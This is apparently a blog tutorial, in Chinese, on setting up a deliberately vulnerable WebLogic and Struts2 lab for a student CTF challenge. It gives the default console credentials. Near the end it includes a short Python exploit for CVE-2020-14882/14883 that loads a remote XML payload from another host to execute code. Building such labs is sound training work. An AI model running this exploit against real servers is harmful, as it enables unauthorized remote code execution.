Weblogic 环境搭建出题教程
前言
主要是为了赛博杯新生赛的出题,想着搭建一个尽量真实的环境,外网一个struts2,内网装一个weblogic,涉及到一点点域和内网的知识。
花了四五天时间,但是很遗憾,最后还是没有成功,有考虑过docker搭建,但是docker内的域总感觉不够真实
版本及基础环境
JDK_PKG=jdk-8u121-linux-x64.tar.gz
WEBLOGIC_JAR=fmw_12.1.3.0.0_wls.jar
Centos-8.2 (没有图形化,用脚本安)
两台阿里云ecs(最好内存2G及以上,1G很容易满,凑合能用)
JDK安装包下载地址:https://www.oracle.com/technetwork/java/javase/archive-139210.html
Weblogic安装包下载地址:https://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-for-dev-1703574.html
主要参考链接
https://blog.csdn.net/blvyoucan/article/details/78507100
https://github.com/QAX-A-Team/WeblogicEnvironment
一些基础知识
https://jlhxxxx.github.io/weblogic-cluster.html
大致思路
- 一台内网机器(ip:192.168.1.176,简称内网机),一台外网(ip:192.168.1.175,简称外网机),两台都安装weblogic,内网作为adminserver,外网机器做nodemanager,外网机器弄一个struts2写的网站
- 服务权限较低,防止被搅屎
- 能自动恢复环境,自动启动环境(最后没实现)
过程
下载安装基础内容(两台机器都要)
# 下载jdk和weblogic,提前放在了阿里oss,速度快一点,不收钱
wget -O /fmw_12.1.3.0.0_wls.jar http://xxx.oss-cn-hangzhou-internal.aliyuncs.com/fmw_12.1.3.0.0_wls.jar
wget -O /jdk-8u121-linux-x64.tar.gz http://xxx.oss-cn-hangzhou-internal.aliyuncs.com/jdk-8u121-linux-x64.tar.gz
cp /jdk-8u121-linux-x64.tar.gz ./jdk-8u121-linux-x64.tar.gz
cp /fmw_12.1.3.0.0_wls.jar ./fmw_12.1.3.0.0_wls.jar
JDK_PKG=jdk-8u121-linux-x64.tar.gz
WEBLOGIC_JAR=fmw_12.1.3.0.0_wls.jar
export JDK_PKG=jdk-8u121-linux-x64.tar.gz
export WEBLOGIC_JAR=fmw_12.1.3.0.0_wls.jar
mkdir -p /install && mkdir -p /scripts
yum makecache
yum -y install git
yum -y install libnsl
# Weblogic需要swap 512MB以上
dd if=/dev/zero of=/home/swapfile bs=1M count=1024
chmod 600 /home/swapfile
mkswap /home/swapfile
swapon /home/swapfile
echo "/home/swapfile swap swap defaults 0 0" >>/etc/fstab
reboot
# 创建用户
groupadd -g 1000 oinstall && useradd -u 1100 -g oinstall oracle
# 复制脚本
git clone https://github.com/QAX-A-Team/WeblogicEnvironment
cd WeblogicEnvironment
/bin/cp -f scripts/jdk_install.sh /scripts/jdk_install.sh
/bin/cp -f scripts/jdk_bin_install.sh /scripts/jdk_bin_install.sh
/bin/cp -f scripts/weblogic_install11g.sh /scripts/weblogic_install11g.sh
/bin/cp -f scripts/weblogic_install12c.sh /scripts/weblogic_install12c.sh
/bin/cp -f scripts/create_domain11g.sh /scripts/create_domain11g.sh
/bin/cp -f scripts/create_domain12c.sh /scripts/create_domain12c.sh
/bin/cp -f scripts/open_debug_mode.sh /scripts/open_debug_mode.sh
cd ../
# 判断jdk是包(bin/tar.gz)weblogic包(11g/12c)载入对应脚本
if [ $JDK_PKG == *.bin ] ; then echo ****载入JDK bin安装脚本**** && cp -f /scripts/jdk_bin_install.sh /scripts/jdk_install.sh ; else echo ****载入JDK tar.gz安装脚本**** ; fi
if [ $WEBLOGIC_JAR == *1036* ] ; then echo ****载入11g安装脚本**** && cp -f /scripts/weblogic_install11g.sh /scripts/weblogic_install.sh && cp -f /scripts/create_domain11g.sh /scripts/create_domain.sh ; else echo ****载入12c安装脚本**** && cp -f /scripts/weblogic_install12c.sh /scripts/weblogic_install.sh && cp -f /scripts/create_domain12c.sh /scripts/create_domain.sh ; fi
# 脚本设置权限及运行
chmod +x /scripts/jdk_install.sh
chmod +x /scripts/weblogic_install.sh
chmod +x /scripts/create_domain.sh
chmod +x /scripts/open_debug_mode.sh
# 安装JDK
/scripts/jdk_install.sh
# 安装weblogic
/scripts/weblogic_install.sh
内网机安装domain
- 上述安装过程weblogic权限是root,所以要改一下
# 创建Weblogic Domain
/scripts/create_domain.sh
# 打开Debug模式,按需打开
#/scripts/open_debug_mode.sh
# 更改权限
chown -R oracle:oinstall /u01
chmod -R 775 /u01/
# 随shell运行,能直接看到日志,关闭shell就停止的那种
su - oracle -c "cd ~ && /u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startWebLogic.sh"
su - oracle -c "cd ~ && /u01/app/oracle/Domains/ExampleSilentWTDomain/bin/stopWebLogic.sh"
# 后端运行,直接看不到日志,可以关闭shell
su oracle
nohup /u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startWebLogic.sh &
内网机weblogic配置
运行后可访问
http://localhost:7001/console/login/LoginForm.jsp
登录到Weblogic Server管理控制台,默认用户名为weblogic
,默认密码为qaxateam01
设置AdminServer监听地址为空
新建计算机
不用改也行,下一步
监听地址写你的外网主机的局域网ip,这里为192.168.1.175
新建集群
不用动,直接ok
新建服务器
按图示设置
重新点进去
选择刚刚新建的计算机,保存即可
建议重启一下weblogic
su - oracle -c "cd ~ && /u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startWebLogic.sh" su - oracle -c "cd ~ && /u01/app/oracle/Domains/ExampleSilentWTDomain/bin/stopWebLogic.sh"
### 复制域到外网机 * 内网机打包域 ```shell /u01/app/oracle/middleware/oracle_common/common/bin/pack.sh -domain=/u01/app/oracle/Domains/ExampleSilentWTDomain -template=/home/oracle/ExampleSilentWTDomain.jar -managed=true -template_name="ExampleSilentWTDomain"
这里直接用nc传了
外网机监听nc端口
nc -l 8889 > /home/oracle/ExampleSilentWTDomain.jar
* 内网机发送文件 ```shell nc 192.168.1.175 8889 < /home/oracle/ExampleSilentWTDomain.jar
外网机解压域环境,注意文件权限
/u01/app/oracle/middleware/oracle_common/common/bin/unpack.sh -domain=/u01/app/oracle/Domains/ExampleSilentWTDomain -template=/home/oracle/ExampleSilentWTDomain.jar
### 运行nodemanager * 经过这样操作过应该就不用配置nodemanager了,所以直接运行 ```shell su - oracle -c "cd ~ && /u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startNodeManager.sh" su - oracle -c "cd ~ && /u01/app/oracle/Domains/ExampleSilentWTDomain/bin/stopNodeManager.sh"
内网机检查是否安装正确
是否可访问
不行的话可以看下日志
启动server
这样就算完成了
部署网站
具体就不写了,大概在这里安装就行了
可选项
内存调大一点
最好再建立域之前修改内存,涉及到的文件(可能不全)
应该是把
-Xmx512m
改成-Xmx1024m
就行vi /u01/app/oracle/Domains/ExampleSilentWTDomain/bin/setDomainEnv.sh vi /u01/app/oracle/Domains/ExampleSilentWTDomain/nodemanager/nodemanager.properties vi /u01/app/oracle/middleware/wlserver/server/bin/startNodeManager.sh
### 文件及启动脚本权限要是oracle * 不然RCE后直接就是root,可能会被搅屎 ### 安装中间件apache或者nginx * 因为不是80端口,可以配置nginx,参考代码 * 修改/etc/nginx/nginx.conf
location ~ .* { proxy_pass http://127.0.0.1:8080; proxy_set_header X-Real-IP $remote_addr; proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_buffer_size 4k; proxy_buffers 4 32k; proxy_busy_buffers_size 64k; proxy_temp_file_write_size 64k; proxy_max_temp_file_size 512m; }
### 网页控制台上方的 记录
* 貌似可以记录下你的操作脚本,生成一个py文件,应该可以用来自动化运维,但是没研究怎么用
已启动记录会话。记录到/u01/app/oracle/Domains/ExampleSilentWTDomain/Script1609826535362.py
## 遇到的问题
### 当两个机器不在局域网内时,会有ssl报错
* 报错示例: (截的不全) javax.net.ssl.SSLException,hostname verification check. Certificate contained VM-8-8-centos but check expected xxx.xxx.xxx.xxx
* 网上方案尝试过,改成不认证或者普通都对我没啥用
* 后来买了个在局域网内的机器解决了
### 用阿里云硬盘快照或者制作成镜像后,回滚后使用nodemanager报错
* 报错示例:
<Jan 1, 2021 4:46:50 PM CST>
* 不知道错误原因,发现只要不恢复之前的快照就行。
* 一种方案是重新装weblogic,把 `/u01/` 目录下文件全部删除,重新安装一遍
* 另外一种方案是将` /u01/ ` 内容保存到tmp里,恢复时再复制粘贴回去(应该是可以的,没有试过)
### 更改CrashRecoveryEnabled=true
* 文件在 /u01/app/oracle/Domains/ExampleSilentWTDomain/nodemanager/nodemanager.properties
* 据说修改后可以自动启动,没注意过
### 网页控制台的左上角的更改中心
* 不管什么时候点进去总是为空,没法做到网页端重启,有点麻烦
### 搭了struts2网站后
* 自己打包的war可能也会有问题,会报错struts2的包不在(自己的问题)
* 访问路径大概这样 http://192.168.1.175:8080/struts2-showcase/ ,这样直接汇显示struts2,建议搭配nginx用,让直接访问也可以
* 如果用扫描器扫描后,可能会在3~5分钟内无反应,chrome显示 Recv failure: 连接被对方重设,过几分钟又会自动恢复,但是日志没有写发生了什么错误
### weblogic版本
* 我用的12.1.3.0.0,本想用来复现cve-2020-14882/14883,但是实际上发现还有其他漏洞可以利用
![](https://images.carrot2.cn/img/2021-03-03_077f27931f4f9db65b499ee47b294355.png)
* 在复现cve-2020-14882/14883时,这个的版本也比较低,没有 `com.tangosol.coherence.mvel2.sh.ShellSession` 这个类,所以只能用另外一种方法
poc.xml
############################################
import requests
url = ‘http://{}:{}/console/images/%252E%252E%252Fconsole.portal’
‘?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext’
‘(%22http://192.168.1.41:8000/poc.xml%22)'.format(‘192.168.1.53’, ‘7001’)
response = requests.get(url)
## 总结
* java的环境真的是太大太难配了,尤其是域的环境,还是需要多多的学习吧